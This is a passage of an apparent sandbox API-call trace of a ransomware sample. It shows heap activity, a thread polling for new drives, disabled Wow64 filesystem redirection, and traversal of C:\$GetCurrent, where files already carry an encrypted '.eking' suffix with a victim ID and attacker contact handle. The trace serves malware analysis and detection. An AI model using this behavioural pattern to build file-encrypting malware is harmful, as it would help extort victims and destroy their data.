dwFlags=0x0, lpMem=0xc2f9a0 | out: hHeap=0xc10000) returned 1 [0211.038] GetProcessHeap () returned 0xc10000 [0211.038] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc21a50 | out: hHeap=0xc10000) returned 1 [0211.038] GetProcessHeap () returned 0xc10000 [0211.038] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2f9b8 | out: hHeap=0xc10000) returned 1 [0211.038] GetProcessHeap () returned 0xc10000 [0211.038] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc28c80 | out: hHeap=0xc10000) returned 1 [0211.039] GetProcessHeap () returned 0xc10000 [0211.039] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2f688 | out: hHeap=0xc10000) returned 1 [0211.039] GetProcessHeap () returned 0xc10000 [0211.039] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc1fa80 | out: hHeap=0xc10000) returned 1 [0211.039] GetProcessHeap () returned 0xc10000 [0211.039] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2f9e8 | out: hHeap=0xc10000) returned 1 [0211.039] GetProcessHeap () returned 0xc10000 [0211.039] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc1e2b8 | out: hHeap=0xc10000) returned 1 [0211.039] GetProcessHeap () returned 0xc10000 [0211.039] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2f808 | out: hHeap=0xc10000) returned 1 [0211.039] GetProcessHeap () returned 0xc10000 [0211.039] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc4d700 | out: hHeap=0xc10000) returned 1 [0211.039] GetProcessHeap () returned 0xc10000 [0211.039] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2f988 | out: hHeap=0xc10000) returned 1 [0211.039] GetProcessHeap () returned 0xc10000 [0211.039] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc274c0 | out: hHeap=0xc10000) returned 1 [0211.039] GetProcessHeap () returned 0xc10000 [0211.039] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc28458 | out: hHeap=0xc10000) returned 1 [0211.039] GetProcessHeap () returned 0xc10000 [0211.039] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0xa4) returned 0xc209d0 [0211.039] GetProcessHeap () returned 0xc10000 [0211.039] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2f6d0 | out: hHeap=0xc10000) returned 1 [0211.039] GetProcessHeap () returned 0xc10000 [0211.039] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2f640 | out: hHeap=0xc10000) returned 1 [0211.039] GetProcessHeap () returned 0xc10000 [0211.039] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc20170 | out: hHeap=0xc10000) returned 1 [0211.040] GetProcessHeap () returned 0xc10000 [0211.040] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2f7f0 | out: hHeap=0xc10000) returned 1 [0211.040] GetProcessHeap () returned 0xc10000 [0211.040] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2f928 | out: hHeap=0xc10000) returned 1 [0211.040] GetProcessHeap () returned 0xc10000 [0211.040] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x18) returned 0xc28738 [0211.040] GetProcessHeap () returned 0xc10000 [0211.040] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0xe) returned 0xc2f7f0 [0211.040] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x3856b3, lpParameter=0xc28738, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x284 [0211.041] CloseHandle (hObject=0x284) returned 1 [0211.042] WaitForSingleObject (hHandle=0x280, dwMilliseconds=0xffffffff) returned 0x0 [0274.912] CloseHandle (hObject=0x280) returned 1 [0274.912] CloseHandle (hObject=0x27c) returned 1 [0274.912] GetProcessHeap () returned 0xc10000 [0274.912] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc27490 | out: hHeap=0xc10000) returned 1 [0274.912] GetProcessHeap () returned 0xc10000 [0274.912] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc22548 | out: hHeap=0xc10000) returned 1 [0274.912] GetProcessHeap () returned 0xc10000 [0274.912] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc284b8 | out: hHeap=0xc10000) returned 1 Thread: id = 57 os_tid = 0xd0c [0211.045] GetLogicalDrives () returned 0x4 [0211.045] GetProcessHeap () returned 0xc10000 [0211.046] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x20) returned 0xc2f128 [0211.046] GetProcessHeap () returned 0xc10000 [0211.046] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x1e) returned 0xc2f150 [0211.046] GetProcessHeap () returned 0xc10000 [0211.046] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x1e) returned 0xc2f178 [0211.046] GetProcessHeap () returned 0xc10000 [0211.046] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x90) returned 0xc20170 [0211.046] GetProcessHeap () returned 0xc10000 [0211.046] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc20170 | out: hHeap=0xc10000) returned 1 [0211.046] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xc2f150, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0211.046] GetProcessHeap () returned 0xc10000 [0211.046] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2f178 | out: hHeap=0xc10000) returned 1 [0211.046] GetProcessHeap () returned 0xc10000 [0211.046] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2f128 | out: hHeap=0xc10000) returned 1 [0211.046] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x2adfc8c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x2adfc8c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0211.047] GetProcessHeap () returned 0xc10000 [0211.047] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2f150 | out: hHeap=0xc10000) returned 1 [0211.047] GetProcessHeap () returned 0xc10000 [0211.047] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x40) returned 0xc22470 [0211.047] GetProcessHeap () returned 0xc10000 [0211.047] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x28) returned 0xc4d5e8 [0211.047] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x284 [0211.047] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x288 [0211.047] GetLogicalDrives () returned 0x4 [0211.047] Sleep (dwMilliseconds=0x3e8) [0212.191] GetLogicalDrives () returned 0x4 [0212.192] Sleep (dwMilliseconds=0x3e8) [0213.401] GetLogicalDrives () returned 0x4 [0213.401] Sleep (dwMilliseconds=0x3e8) [0214.642] GetLogicalDrives () returned 0x4 [0214.642] Sleep (dwMilliseconds=0x3e8) [0215.969] GetLogicalDrives () returned 0x4 [0215.969] Sleep (dwMilliseconds=0x3e8) [0217.099] GetLogicalDrives () returned 0x4 [0217.099] Sleep (dwMilliseconds=0x3e8) [0218.823] GetLogicalDrives () returned 0x4 [0218.823] Sleep (dwMilliseconds=0x3e8) [0220.462] GetLogicalDrives () returned 0x4 [0220.462] Sleep (dwMilliseconds=0x3e8) [0222.053] GetLogicalDrives () returned 0x4 [0222.053] Sleep (dwMilliseconds=0x3e8) [0223.267] GetLogicalDrives () returned 0x4 [0223.267] Sleep (dwMilliseconds=0x3e8) [0224.419] GetLogicalDrives () returned 0x4 [0224.419] Sleep (dwMilliseconds=0x3e8) [0225.561] GetLogicalDrives () returned 0x4 [0225.565] Sleep (dwMilliseconds=0x3e8) [0226.722] GetLogicalDrives () returned 0x4 [0226.722] Sleep (dwMilliseconds=0x3e8) [0228.091] GetLogicalDrives () returned 0x4 [0228.091] Sleep (dwMilliseconds=0x3e8) [0229.478] GetLogicalDrives () returned 0x4 [0229.478] Sleep (dwMilliseconds=0x3e8) [0230.678] GetLogicalDrives () returned 0x4 [0230.678] Sleep (dwMilliseconds=0x3e8) [0231.937] GetLogicalDrives () returned 0x4 [0231.937] Sleep (dwMilliseconds=0x3e8) [0233.153] GetLogicalDrives () returned 0x4 [0233.153] Sleep (dwMilliseconds=0x3e8) [0234.441] GetLogicalDrives () returned 0x4 [0234.441] Sleep (dwMilliseconds=0x3e8) [0235.731] GetLogicalDrives () returned 0x4 [0235.737] Sleep (dwMilliseconds=0x3e8) [0236.862] GetLogicalDrives () returned 0x4 [0236.862] Sleep (dwMilliseconds=0x3e8) [0238.073] GetLogicalDrives () returned 0x4 [0238.073] Sleep (dwMilliseconds=0x3e8) [0240.107] GetLogicalDrives () returned 0x4 [0240.107] Sleep (dwMilliseconds=0x3e8) [0241.433] GetLogicalDrives () returned 0x4 [0241.465] Sleep (dwMilliseconds=0x3e8) [0242.726] GetLogicalDrives () returned 0x4 [0242.726] Sleep (dwMilliseconds=0x3e8) [0243.934] GetLogicalDrives () returned 0x4 [0243.934] Sleep (dwMilliseconds=0x3e8) [0245.202] GetLogicalDrives () returned 0x4 [0245.202] Sleep (dwMilliseconds=0x3e8) [0246.395] GetLogicalDrives () returned 0x4 [0246.395] Sleep (dwMilliseconds=0x3e8) [0247.612] GetLogicalDrives () returned 0x4 [0247.612] Sleep (dwMilliseconds=0x3e8) [0248.814] GetLogicalDrives () returned 0x4 [0248.826] Sleep (dwMilliseconds=0x3e8) [0250.095] GetLogicalDrives () returned 0x4 [0250.095] Sleep (dwMilliseconds=0x3e8) [0251.184] GetLogicalDrives () returned 0x4 [0251.184] Sleep (dwMilliseconds=0x3e8) [0252.507] GetLogicalDrives () returned 0x4 [0252.507] Sleep (dwMilliseconds=0x3e8) [0253.748] GetLogicalDrives () returned 0x4 [0253.748] Sleep (dwMilliseconds=0x3e8) [0255.108] GetLogicalDrives () returned 0x4 [0255.127] Sleep (dwMilliseconds=0x3e8) [0256.322] GetLogicalDrives () returned 0x4 [0256.322] Sleep (dwMilliseconds=0x3e8) [0257.622] GetLogicalDrives () returned 0x4 [0257.623] Sleep (dwMilliseconds=0x3e8) [0259.067] GetLogicalDrives () returned 0x4 [0259.068] Sleep (dwMilliseconds=0x3e8) [0260.337] GetLogicalDrives () returned 0x4 [0260.337] Sleep (dwMilliseconds=0x3e8) [0261.568] GetLogicalDrives () returned 0x4 [0261.568] Sleep (dwMilliseconds=0x3e8) [0262.797] GetLogicalDrives () returned 0x4 [0262.798] Sleep (dwMilliseconds=0x3e8) [0264.154] GetLogicalDrives () returned 0x4 [0264.154] Sleep (dwMilliseconds=0x3e8) [0265.484] GetLogicalDrives () returned 0x4 [0265.484] Sleep (dwMilliseconds=0x3e8) [0266.660] GetLogicalDrives () returned 0x4 [0266.660] Sleep (dwMilliseconds=0x3e8) [0267.981] GetLogicalDrives () returned 0x4 [0267.981] Sleep (dwMilliseconds=0x3e8) [0269.186] GetLogicalDrives () returned 0x4 [0269.186] Sleep (dwMilliseconds=0x3e8) [0270.478] GetLogicalDrives () returned 0x4 [0270.478] Sleep (dwMilliseconds=0x3e8) [0271.760] GetLogicalDrives () returned 0x4 [0271.760] Sleep (dwMilliseconds=0x3e8) [0273.103] GetLogicalDrives () returned 0x4 [0273.103] Sleep (dwMilliseconds=0x3e8) [0274.446] CloseHandle (hObject=0x288) returned 1 [0274.446] CloseHandle (hObject=0x284) returned 1 [0274.446] GetProcessHeap () returned 0xc10000 [0274.446] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc4d5e8 | out: hHeap=0xc10000) returned 1 [0274.446] GetProcessHeap () returned 0xc10000 [0274.446] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc22470 | out: hHeap=0xc10000) returned 1 [0274.446] GetProcessHeap () returned 0xc10000 [0274.446] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc286d8 | out: hHeap=0xc10000) returned 1 Thread: id = 59 os_tid = 0xd1c [0212.041] GetProcessHeap () returned 0xc10000 [0212.041] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x38) returned 0xc29908 [0212.042] GetProcessHeap () returned 0xc10000 [0212.042] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x18) returned 0xc28698 [0212.042] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x2b8 [0212.042] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x2bc [0212.042] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x2c0 [0212.042] GetProcessHeap () returned 0xc10000 [0212.042] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0xc52d78 [0212.043] GetProcessHeap () returned 0xc10000 [0212.043] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0xc62d80 [0212.043] GetProcessHeap () returned 0xc10000 [0212.043] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x50) returned 0xc1ff58 [0212.043] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75cb0000 [0212.044] GetProcAddress (hModule=0x75cb0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75cc6b30 [0212.044] Wow64DisableWow64FsRedirection (in: OldValue=0x2d1f93c | out: OldValue=0x2d1f93c*=0x0) returned 1 [0212.044] GetProcessHeap () returned 0xc10000 [0212.044] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc1ff58 | out: hHeap=0xc10000) returned 1 [0212.044] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1, lpStartAddress=0x3854bf, lpParameter=0x2d1f944, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c4 [0212.045] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1, lpStartAddress=0x3854bf, lpParameter=0x2d1f944, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c8 [0212.045] GetProcessHeap () returned 0xc10000 [0212.045] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0xc72d88 [0212.047] FindFirstFileW (in: lpFileName="\\\\?\\C:\\*", lpFindFileData=0x2d1f6b8 | out: lpFindFileData=0x2d1f6b8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x38572a, dwReserved1=0x0, cFileName="$GetCurrent", cAlternateFileName="$GETCU~1")) returned 0xc29a08 [0212.047] GetProcessHeap () returned 0xc10000 [0212.047] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0xc82d90 [0212.048] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$GetCurrent\\*", lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName=".", cAlternateFileName="")) returned 0xc29dc8 [0212.051] FindNextFileW (in: hFindFile=0xc29dc8, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="..", cAlternateFileName="")) returned 1 [0212.051] FindNextFileW (in: hFindFile=0xc29dc8, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Logs", cAlternateFileName="")) returned 1 [0212.051] GetProcessHeap () returned 0xc10000 [0212.051] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0xc93da0 [0212.052] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc29a88 [0212.065] FindNextFileW (in: hFindFile=0xc29a88, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0212.066] FindNextFileW (in: hFindFile=0xc29a88, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2697217, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc2697217, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc26bb503, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0xa7e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="downlevel_2017_09_07_02_02_39_766.log.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="DOWNLE~1.EKI")) returned 1 [0212.066] FindNextFileW (in: hFindFile=0xc29a88, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2648d68, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc2648d68, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc281293c, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x18a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="oobe_2017_09_07_03_08_57_737.log.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="OOBE_2~1.EKI")) returned 1 [0212.066] FindNextFileW (in: hFindFile=0xc29a88, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2888fd1, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc2888fd1, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc2888fd1, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x142, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="PARTNE~1.EKI")) returned 1 [0212.066] FindNextFileW (in: hFindFile=0xc29a88, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2888fd1, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc2888fd1, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc2888fd1, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x142, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="PARTNE~1.EKI")) returned 0 [0212.066] FindClose (in: hFindFile=0xc29a88 | out: hFindFile=0xc29a88) returned 1 [0212.067] GetProcessHeap () returned 0xc10000 [0212.067] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc93da0 | out: hHeap=0xc10000) returned 1 [0212.068] FindNextFileW (in: hFindFile=0xc29dc8, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="SafeOS", cAlternateFileName="")) returned 1 [0212.068] GetProcessHeap () returned 0xc10000 [0212.068] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0xc93da0 [0212.069] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\*", lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc29708 [0212.078] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0212.079] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2838bcd, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc2838bcd, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc285f08e, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x233d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentOOBE.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="GETCUR~1.EKI")) returned 1 [0212.079] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc285f08e, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc285f08e, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc2b33990, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x1a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentRollback.ini.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="GETCUR~2.EKI")) returned 1 [0212.079] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2888fd1, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc2888fd1, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc28ab2d9, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x362, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupComplete.cmd.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="PARTNE~1.EKI")) returned 1 [0212.080] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc28ab2d9, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc28ab2d9, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc28d167a, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x142, dwReserved0=0x0, dwReserved1=0x0, cFileName="preoobe.cmd.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="PREOOB~1.EKI")) returned 1 [0212.080] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc28d167a, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc28d167a, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc28d167a, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x242, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupComplete.cmd.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPC~1.EKI")) returned 1 [0212.080] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc28d167a, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc28d167a, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc28d167a, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x242, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupComplete.cmd.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPC~1.EKI")) returned 0 [0212.080] FindClose (in: hFindFile=0xc29708 | out: hFindFile=0xc29708) returned 1 [0212.081] GetProcessHeap () returned 0xc10000 [0212.081] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc93da0 | out: hHeap=0xc10000) returned 1 [0212.082] FindNextFileW (in: hFindFile=0xc29dc8, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="SafeOS", cAlternateFileName="")) returned 0 [0212.082] FindClose (in: hFindFile=0xc29dc8 | out: hFindFile=0xc29dc8) returned 1 [0212.083] 